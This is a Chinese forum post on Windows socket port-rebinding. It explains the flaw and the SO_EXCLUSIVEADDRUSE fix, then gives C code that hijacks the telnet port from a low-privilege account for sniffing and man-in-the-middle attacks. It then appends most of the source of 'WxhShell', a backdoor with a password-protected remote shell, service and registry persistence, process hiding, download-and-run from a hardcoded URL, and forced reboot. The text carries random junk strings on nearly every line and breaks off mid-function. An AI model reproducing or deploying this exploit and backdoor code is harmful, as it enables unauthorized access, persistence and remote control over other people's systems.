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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XYP RMa?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rkk`+0K7$J  
j~\FDcG*ed  
  saddr.sin_family = AF_INET; H?;+C/-K`_  
dpS@:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x*F- d2D  
Mx, 5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7Dssr [  
bf.+Ewb(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tgCp2 `n  
+~G:z|k  
  这意味着什么?意味着可以进行如下的攻击: _J \zj  
#y#TEw,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qh6b;ae\x  
r1IvA^X  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *jc >?)k  
,2Ed^!`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6<\dQ+~  
rMJ@oc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~.^:?yCA  
m=E/um[D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xlug{ Uh  
vgtAJp+p*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mz1m^p)~{  
AaB1H7r-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ul N1z  
dkEbP*y Xg  
  #include xzY/$?  
  #include g&p(XuN  
  #include $~:ZzZO  
  #include    ~DxuLk6 s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sx+k V A  
  int main() V}<<?_  
  { fFbJE]jW  
  WORD wVersionRequested; P]}:E+E<.I  
  DWORD ret; )Rb t0   
  WSADATA wsaData; S9l po_!z  
  BOOL val; {}'Jr1  
  SOCKADDR_IN saddr; \2El>>  
  SOCKADDR_IN scaddr; r%=a:GdAg  
  int err; Ag:/iB ]  
  SOCKET s; rusM]Z  
  SOCKET sc; E%E`\mFD  
  int caddsize; n7ZJ< ~wl  
  HANDLE mt; %2D'NZS  
  DWORD tid;   ts[8;<YD  
  wVersionRequested = MAKEWORD( 2, 2 ); -6_<]  
  err = WSAStartup( wVersionRequested, &wsaData ); n)a/pO_  
  if ( err != 0 ) { )cQ KR4x0^  
  printf("error!WSAStartup failed!\n"); Yy/,I]F  
  return -1; fl4@5AVY  
  } a0JMLLa [I  
  saddr.sin_family = AF_INET; |QbCFihn  
   l8+1{6xP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 . &}x[~g  
J:uFQWxZ   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )N^fSenFBn  
  saddr.sin_port = htons(23); c{D<+XM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]S?G]/k}  
  { 2.);OFk+  
  printf("error!socket failed!\n"); 7?k3jDK  
  return -1; MTE 1\,  
  } 1=+S'_j  
  val = TRUE; I31Nu{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D?Ol)aj?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h8.(Q`tli  
  { 0 nI*9  
  printf("error!setsockopt failed!\n"); dQH8s  
  return -1; {7IZN< e  
  } ~a7@O^q 4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \hlS?uD\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T^d<vH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  K\ pZ  
A9Ea}v9:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7w5l[a/  
  { /P[u vO  
  ret=GetLastError(); ; 1?L  
  printf("error!bind failed!\n"); yP-$@Ry  
  return -1; Gl{2"!mt=  
  } &u"mFweS  
  listen(s,2); 1GR|$E  
  while(1) &?@U_emLi  
  { 9P <1/W!  
  caddsize = sizeof(scaddr); Wkb>JnPo  
  //接受连接请求 ~9!@BL\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DD7D&@As  
  if(sc!=INVALID_SOCKET) AxJqLSfyb,  
  { +('xzW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xsb.xxK.  
  if(mt==NULL) s;Zi   
  {  56C'<#  
  printf("Thread Creat Failed!\n"); Gyi0SM6v5&  
  break; &kWT<*;J)  
  } M9VAs~&S  
  } FDBNKQV  
  CloseHandle(mt); .gRb'  
  } h>xB"E|.  
  closesocket(s); z:O:g?A  
  WSACleanup(); g:c?%J  
  return 0; 9ygNJX'~  
  }   /NPx9cLW^  
  DWORD WINAPI ClientThread(LPVOID lpParam) fWg 3gRI  
  { 7S= ]@*  
  SOCKET ss = (SOCKET)lpParam; 5D^2 +`$/  
  SOCKET sc; ]U4C2}u  
  unsigned char buf[4096]; vXdI)Sx[  
  SOCKADDR_IN saddr; A$P Oc<  
  long num; a(-t"OL\  
  DWORD val; }DvT6  
  DWORD ret; N-p||u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6I]{cm   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }ew )QHd  
  saddr.sin_family = AF_INET; @O6 2} F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _!vuDv%  
  saddr.sin_port = htons(23); 9j;!4AJ1t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4 ;6,h6a  
  { X"f]  
  printf("error!socket failed!\n"); vvG*DGL)qL  
  return -1; Kx;la  
  } SrMfd7H8f  
  val = 100; #; P-*P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >^@~}]L  
  { Zwtz )ZII  
  ret = GetLastError(); HR'F  
  return -1; 6_w~#86=  
  } bI;u};v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xa U ^^K  
  { o|s|Wm x>u  
  ret = GetLastError(); wUS w 9xg  
  return -1; }&l%>P  
  } Q`=d5Uvw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?|hYtV  
  { k_OzkEM9!  
  printf("error!socket connect failed!\n"); K9RRY,JB  
  closesocket(sc); &6\E'bBt  
  closesocket(ss); A(C0/|#V  
  return -1; +I.{y  
  } ,}^;q58  
  while(1) _4lKd`  
  { ? a*yK8S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @C~gU@F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9~r8$,e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ``h* A  
  num = recv(ss,buf,4096,0); w/ID y Q  
  if(num>0) pe\]}&  
  send(sc,buf,num,0); <5|:QLqy  
  else if(num==0) >/-Bg:  
  break; ,F|49i.K  
  num = recv(sc,buf,4096,0); %:-2P  
  if(num>0) A22'qgKm@  
  send(ss,buf,num,0); dP/1E6*m  
  else if(num==0) ~NK|q5(I  
  break; 8(:O5#  
  } `q y@Qo  
  closesocket(ss); Q,o"[ &Gp  
  closesocket(sc); f Lns^  
  return 0 ; UtB~joaR  
  } ) @f6  
SUoUXh^!w  
l8DZ2cw]  
========================================================== R36A_  
}SW>ysw'm  
下边附上一个代码,,WXhSHELL [-=y*lx %g  
Jj+Hj[(@  
========================================================== u-wj\BU  
^K'XlM`a  
#include "stdafx.h" H|d"45J_  
)f`oCXh  
#include <stdio.h> e yByAT~W,  
#include <string.h> )3!z2f:e  
#include <windows.h> k`0m|<$  
#include <winsock2.h> Z~g7^,-t  
#include <winsvc.h> a7fn{VU8  
#include <urlmon.h> _$gP-J  
@w;&:J9m  
#pragma comment (lib, "Ws2_32.lib") P[gYENQ   
#pragma comment (lib, "urlmon.lib") kK]L(ZU +  
M+M\3U  
#define MAX_USER   100 // 最大客户端连接数 to] ~$~Q|>  
#define BUF_SOCK   200 // sock buffer Ij7[2V]c  
#define KEY_BUFF   255 // 输入 buffer WSx0o}  
{ =IAS}  
#define REBOOT     0   // 重启 ekSSqj9";  
#define SHUTDOWN   1   // 关机 p}a0z?  
v==/tr)  
#define DEF_PORT   5000 // 监听端口 e6'y S81  
;<K#h9#*7  
#define REG_LEN     16   // 注册表键长度 C.VU"= -  
#define SVC_LEN     80   // NT服务名长度 U!524"@%U`  
6L&_(/{Uw  
// 从dll定义API yT C+5_7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'iEu1! t\0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7MwS[N%#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qZh}gu*>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /E5>cqX4A  
-pm%F8{T]  
// wxhshell配置信息 z~RE}k  
struct WSCFG { :>m67Zq  
  int ws_port;         // 监听端口 u'"]{.K>fb  
  char ws_passstr[REG_LEN]; // 口令 = _/XFN  
  int ws_autoins;       // 安装标记, 1=yes 0=no /G!M\teeF  
  char ws_regname[REG_LEN]; // 注册表键名 >B+!fi'SS>  
  char ws_svcname[REG_LEN]; // 服务名 B5/"2i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %_ Vj'z~T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 43BqNQ0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D'\gy$9m1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]9$^=z%SE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o+FDkqEN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6fw2 ;$x"  
F+m;y  
}; -h,?_d>  
e6I7N?j  
// default Wxhshell configuration !TPKD  
struct WSCFG wscfg={DEF_PORT, U~Rs?JmTdD  
    "xuhuanlingzhe", 2$yNryd  
    1, LCemM;o  
    "Wxhshell", /n8\^4{fP{  
    "Wxhshell", Hus.Jfam  
            "WxhShell Service", 8@d@T V!n&  
    "Wrsky Windows CmdShell Service", V*F |Yo:  
    "Please Input Your Password: ", C5EaP%s  
  1, DDp\*6y3l  
  "http://www.wrsky.com/wxhshell.exe", t,308Z  
  "Wxhshell.exe" h=MEQ-3jg  
    }; 6[& x7"  
=]W[{@P  
// 消息定义模块 +E }q0GV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +;N;r/d_i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yuq2)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =r>u'wRQ  
char *msg_ws_ext="\n\rExit."; nm]m!.$d  
char *msg_ws_end="\n\rQuit."; Isg\ fSK<j  
char *msg_ws_boot="\n\rReboot...";  ]YKxJ''u  
char *msg_ws_poff="\n\rShutdown..."; L}pj+xB  
char *msg_ws_down="\n\rSave to "; `E8D5'tt  
_.^`DP >  
char *msg_ws_err="\n\rErr!"; IOOK[g.?h  
char *msg_ws_ok="\n\rOK!"; T8 >aU  
! +XreCw  
char ExeFile[MAX_PATH]; ~r?VXO p"  
int nUser = 0; }5lC8{wZ  
HANDLE handles[MAX_USER]; I"2*}v|  
int OsIsNt; I@:"Qee  
-$cO0RSY  
SERVICE_STATUS       serviceStatus; b VcA#7 uA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Nn}FNe  
#7p!xf^  
// 函数声明 OzUo}QN  
int Install(void); i@#=Rxp  
int Uninstall(void); =&roL7ps  
int DownloadFile(char *sURL, SOCKET wsh); t-)d*|2n}o  
int Boot(int flag); ygYy [IZ  
void HideProc(void); jAy 0k  
int GetOsVer(void); X v$"B-j  
int Wxhshell(SOCKET wsl); cng166}1A  
void TalkWithClient(void *cs); ZFRKzPc {V  
int CmdShell(SOCKET sock); 80 ckh  
int StartFromService(void); cSYMnB  
int StartWxhshell(LPSTR lpCmdLine); 5 N:IH@  
$Ahe Vps@@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9G^gI}bY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZMO ym=  
YZ^mH <  
// 数据结构和表定义 40HhMTZ0-  
SERVICE_TABLE_ENTRY DispatchTable[] = #;/ob-  
{ 1EA#c>I$  
{wscfg.ws_svcname, NTServiceMain}, d VyT`  
{NULL, NULL} 3U%kf<m=  
}; R0YWe  
K#xL-   
// 自我安装 2$FH+wuW  
int Install(void) e$o]f"(  
{ `j!XWh*$  
  char svExeFile[MAX_PATH]; CO`?M,x>  
  HKEY key; w[OUGn'  
  strcpy(svExeFile,ExeFile); @z>DJ>htN  
)8;At'q}  
// 如果是win9x系统,修改注册表设为自启动 ~9n30j%]s  
if(!OsIsNt) { L"}tJM.d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d8K|uEHVz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); . :~E.b  
  RegCloseKey(key); 4OFv#$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jGe%'A N\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y'(a:.%I  
  RegCloseKey(key); j%=X ps  
  return 0; (h'Bz6K  
    } vL8Rg} Jh4  
  } iAZbh"I  
} F(|XJN  
else { H:cAORLB  
+`uNO<$~f  
// 如果是NT以上系统,安装为系统服务 c/E'GG%Q%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _RE;}1rb,  
if (schSCManager!=0) st)qw]Dn;Y  
{ i@mS8%|l  
  SC_HANDLE schService = CreateService i(> WeC+  
  ( -`UOqjb]3  
  schSCManager, "v/Yw'! )  
  wscfg.ws_svcname, P|t2%:_  
  wscfg.ws_svcdisp, jcHyRR1R  
  SERVICE_ALL_ACCESS, lcK4 Uq\q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0[E \h   
  SERVICE_AUTO_START, n 0g8B  
  SERVICE_ERROR_NORMAL, 7M Qh,J!"  
  svExeFile, @D>qo=KPM  
  NULL, I>{o]^xw-D  
  NULL, U7HfDDh  
  NULL, c2-oFLNP=  
  NULL, Y=t? "E  
  NULL IZs&7  
  ); 1)!2D?w  
  if (schService!=0) ik1asj1  
  { <Yg6=e  
  CloseServiceHandle(schService); jXPbj.  
  CloseServiceHandle(schSCManager); L8(2or  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #HZ W57"  
  strcat(svExeFile,wscfg.ws_svcname); 8*Ty`G&v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vIf-TQw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [}yPy))A  
  RegCloseKey(key); }46Zfg\T6n  
  return 0; oX7_v_:J\R  
    } oRZe?h^r#  
  } 6j95>}@  
  CloseServiceHandle(schSCManager); '}IGV`c  
} !*S,S{T8  
} snYeo?|b  
S0M i  
return 1; ~O|~M_Z  
} z_Hkw3?  
&OA6Zw/A  
// 自我卸载 3)I]bui  
int Uninstall(void) q1v7(`O  
{ 29cx(  
  HKEY key; Gn<0Fy2  
5p6/dlN-a  
if(!OsIsNt) { H4W!Md  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '2 Y8  
  RegDeleteValue(key,wscfg.ws_regname); 7M8cF>o  
  RegCloseKey(key); -ijzo%&qA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cbl>:ev1h  
  RegDeleteValue(key,wscfg.ws_regname); _D$1CaAYo  
  RegCloseKey(key); "Mz#1Laby`  
  return 0; xT(0-o*  
  } e+)y6Q=  
} rgDl%X2B  
} >@Pw{Zh$  
else { MJkusR/  
`vz7 }TY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g)=$zXWhP  
if (schSCManager!=0) bg|dV  
{ f@[)*([  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %a FZbLK  
  if (schService!=0) -*Tf.c  
  { ',/#|  
  if(DeleteService(schService)!=0) { JI  cm$  
  CloseServiceHandle(schService); Jg)( F|>o  
  CloseServiceHandle(schSCManager); Y=?{TX=6<[  
  return 0; eK5~YM:o  
  } ug.|ag'R  
  CloseServiceHandle(schService); | P`b"x  
  } ^VW]Qr!  
  CloseServiceHandle(schSCManager); Bh'!aipk  
} &xA>(|a\&-  
} vxOnv8(  
(E7"GJ  
return 1; ]_|'N7J  
} EIfqRRTA  
]#W7-Q;]  
// 从指定url下载文件 /q}(KJX  
int DownloadFile(char *sURL, SOCKET wsh) /nsBUM[;  
{ HDTA`h?t;  
  HRESULT hr; OQ4Pk/-'  
char seps[]= "/"; q%QvBN  
char *token; J5n6K$ .d  
char *file; 9HEqB0|ZRu  
char myURL[MAX_PATH]; mln4Vl(l2M  
char myFILE[MAX_PATH]; ZjY,k  
Uk*(C(  
strcpy(myURL,sURL); k`&FyN^)  
  token=strtok(myURL,seps); }V*?~.R  
  while(token!=NULL) `Tf}h8*  
  { ` &bF@$((  
    file=token; kvuRT`/  
  token=strtok(NULL,seps); 6212*Z_Af  
  } X)6G :cD  
l0;u$  
GetCurrentDirectory(MAX_PATH,myFILE); ]uF7HX7F  
strcat(myFILE, "\\"); E_I-.o|  
strcat(myFILE, file); pJs`/   
  send(wsh,myFILE,strlen(myFILE),0); vq.o;q /  
send(wsh,"...",3,0); KC"&3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~(-1mB,  
  if(hr==S_OK) v#d(Kj  
return 0; ~JNE]mg  
else MgJ5FRQ  
return 1; Ook\CK*nKe  
CM$&XJzva  
} ju3@F8AI  
:*BN>*1^\r  
// 系统电源模块 :3XvHL0rx  
int Boot(int flag) _'1 7C /  
{ Z,SV9 ~M  
  HANDLE hToken; F_g(}wE# q  
  TOKEN_PRIVILEGES tkp; ]n>9(Mp!M  
s,f2[6\Y  
  if(OsIsNt) { 2wnk~URj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,9}JPv4Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a'/C)fplL  
    tkp.PrivilegeCount = 1; G6qZ>-GiL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8_w6% md  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J%|;  
if(flag==REBOOT) { )/JVp>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8t=O=l\  
  return 0;  maHz3:  
}  B9y5NX  
else { FyWf`XTO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ("ix!\1K@  
  return 0; 38m9t'  
} W1<*9O  
  } {5D%<Te  
  else { aMGh$\Pg  
if(flag==REBOOT) { fa,:d8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,jeHL@>w[  
  return 0; 74:( -vS  
} \m}a%/  
else { <}A6 )=T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N\&VJc  
  return 0; 2;*G!rE&*`  
} 0tL5t7/Gr  
} d }fd^x/  
Sz<:WY/(x  
return 1; p>\[[Md  
} p/Q< VV  
V"(5U(v{~  
// win9x进程隐藏模块 ,r~^<m  
void HideProc(void) {d'B._#i  
{ ?lgE9I]  
r>|S4O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X_nbNql  
  if ( hKernel != NULL ) Oi& 9FS  
  { )quQI)Ym  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UMBeY[ ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xi.?@Lff  
    FreeLibrary(hKernel); x=a#|]ngG  
  } y7CXE6Y  
9z{}DBA  
return; M,p0wsj;  
} E #Ue9J  
1|-C(UW>  
// 获取操作系统版本 -c1-vGW/  
int GetOsVer(void) qGR1$\]  
{ ujE~#b}X  
  OSVERSIONINFO winfo; sx;/xIU|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UtJfO`m9P  
  GetVersionEx(&winfo); k~:(.)Nr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~N; dX[@BT  
  return 1; Fw(  
  else ]AM*9!  
  return 0; ws,?ImA  
} i( +Uvtgs  
5uSg]2:  
// 客户端句柄模块 (zy|>u  
int Wxhshell(SOCKET wsl) g'T L`=O  
{ B/K=\qmm  
  SOCKET wsh; 9Z=hg[`]<  
  struct sockaddr_in client; 6tP!(  
  DWORD myID; N4-Y0BO  
.Wp(@l'Hd  
  while(nUser<MAX_USER) (QqeMG,Y  
{ J0e^v  
  int nSize=sizeof(client); :N^B54o%6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -{JReplc  
  if(wsh==INVALID_SOCKET) return 1; K iXD1Zpz  
s nxwe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v,N!cp1  
if(handles[nUser]==0) Q2]7|C  
  closesocket(wsh); "30=!k  
else [:e>FXV  
  nUser++; y6sY?uu  
  } Yz0HB EA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bOrE86v:  
yGWl8\,j0  
  return 0; s5{H15  
} ^mI`P}5Y  
j!Ys/ D  
// 关闭 socket SI%J+Y7  
void CloseIt(SOCKET wsh) SJj_e-  
{ .3Smqwm=Y  
closesocket(wsh); ujX\^c  
nUser--; 2++$ Ql/  
ExitThread(0); 2fc+PE  
} {i3x\|  
<b\.d^=B  
// 客户端请求句柄 ;YQ6X>  
void TalkWithClient(void *cs) !f/^1k}SR  
{ >tL" 8@z9  
X,o ]tgg=  
  SOCKET wsh=(SOCKET)cs; b+ZaZ\-y |  
  char pwd[SVC_LEN]; iK'A m.o+  
  char cmd[KEY_BUFF]; ka R55  
char chr[1]; p>pAU$k{O  
int i,j; s%> u[-9U  
"].TKF#yg  
  while (nUser < MAX_USER) { j9RpYz  
z=jzr=lP  
if(wscfg.ws_passstr) { j `3IizN2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o 0b\<}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @N> rOA  
  //ZeroMemory(pwd,KEY_BUFF); 2e ~RM2PQ  
      i=0; HQ4WunH2Y  
  while(i<SVC_LEN) { AC fhy[,  
WYCDEoqU2  
  // 设置超时 D,-L!P  
  fd_set FdRead; ;tD?a7  
  struct timeval TimeOut; EmP2r*"rb  
  FD_ZERO(&FdRead); 5/m*Lc+r  
  FD_SET(wsh,&FdRead); Cd p_niF  
  TimeOut.tv_sec=8; !g>mjD  
  TimeOut.tv_usec=0; 5=8_Le  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #&{)`+!"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u6\W"LW  
\vj xCkg{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =PLy^%  
  pwd=chr[0]; ;4oKF7]   
  if(chr[0]==0xd || chr[0]==0xa) { a,M/i&.e`  
  pwd=0; mn{R>  
  break; Xa>c ]j  
  } RhjU^,%  
  i++; X)9|ZF2`  
    } o+<hI  
4=* ml}RP  
  // 如果是非法用户,关闭 socket 6ESS>I"su  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )OGO wStz  
} "bO]AG  
G CcSI;w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J/vcP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EJaO"9 (  
Gn10)Uf8X  
while(1) { A#79$[>w  
N *n?hN  
  ZeroMemory(cmd,KEY_BUFF); ><6g-+*k  
% =v<3  
      // 自动支持客户端 telnet标准   *qIns/@  
  j=0; ,?GAFg K:  
  while(j<KEY_BUFF) { #: ,X^"w3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <lSo7NkR  
  cmd[j]=chr[0]; DB] ]6  
  if(chr[0]==0xa || chr[0]==0xd) { d k|X&)xTJ  
  cmd[j]=0; [vCZD8"Y8  
  break; U:IeMf-;  
  } I)G.tJZ e  
  j++; W?12'EG}xa  
    } JlH5 <:#PN  
iF+50d  
  // 下载文件 1 7hXg"B  
  if(strstr(cmd,"http://")) { r3Ih]|FK#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ve=1y)  
  if(DownloadFile(cmd,wsh)) :4238J8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."v&?o Ck]  
  else ou&7v<)x4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kca  Y  
  } N%?8Bm~dP  
  else { umiD2BRZ  
hN:2(x  
    switch(cmd[0]) { FkoN+\d  
  LGVGr  
  // 帮助 Tj=g[)+K  
  case '?': { GwlAEhP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cFG%Ew@  
    break; K~z9b4a>  
  } *icxK  
  // 安装 rMUQh~a/  
  case 'i': { `qbsDfq@  
    if(Install()) zB{be_Tw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JvLa@E)  
    else :cTwp K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dr"F5Wbg  
    break; gB#$"mq,  
    } ~48mCD  
  // 卸载 TqMy">>  
  case 'r': { 4dvuw{NZ  
    if(Uninstall()) V6 ,59  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'?@raB!  
    else .J|" bs9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^`!EpO>k9  
    break; o"A%dC_  
    } nF| m*_DW  
  // 显示 wxhshell 所在路径 P}Ule|&LK  
  case 'p': { 5 %aT  
    char svExeFile[MAX_PATH]; $;+`sVG  
    strcpy(svExeFile,"\n\r"); j6)@kW9x  
      strcat(svExeFile,ExeFile); V0 OT_F  
        send(wsh,svExeFile,strlen(svExeFile),0); jvos)$;L-  
    break; C0Ti9  
    } ldm=uW  
  // 重启 l. i&.;f  
  case 'b': {  !.k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y3C$%yv0  
    if(Boot(REBOOT)) [mk!] r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X*C4N F0  
    else { F%QVn .  
    closesocket(wsh); Ndx  ]5  
    ExitThread(0); 4;d9bd)A  
    } -T-h~5   
    break; CpICb9w  
    } )<jT;cT!&  
  // 关机 $PNIuC?=  
  case 'd': { M3dNG]3E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); enJE#4Z5&s  
    if(Boot(SHUTDOWN)) qu/59D  
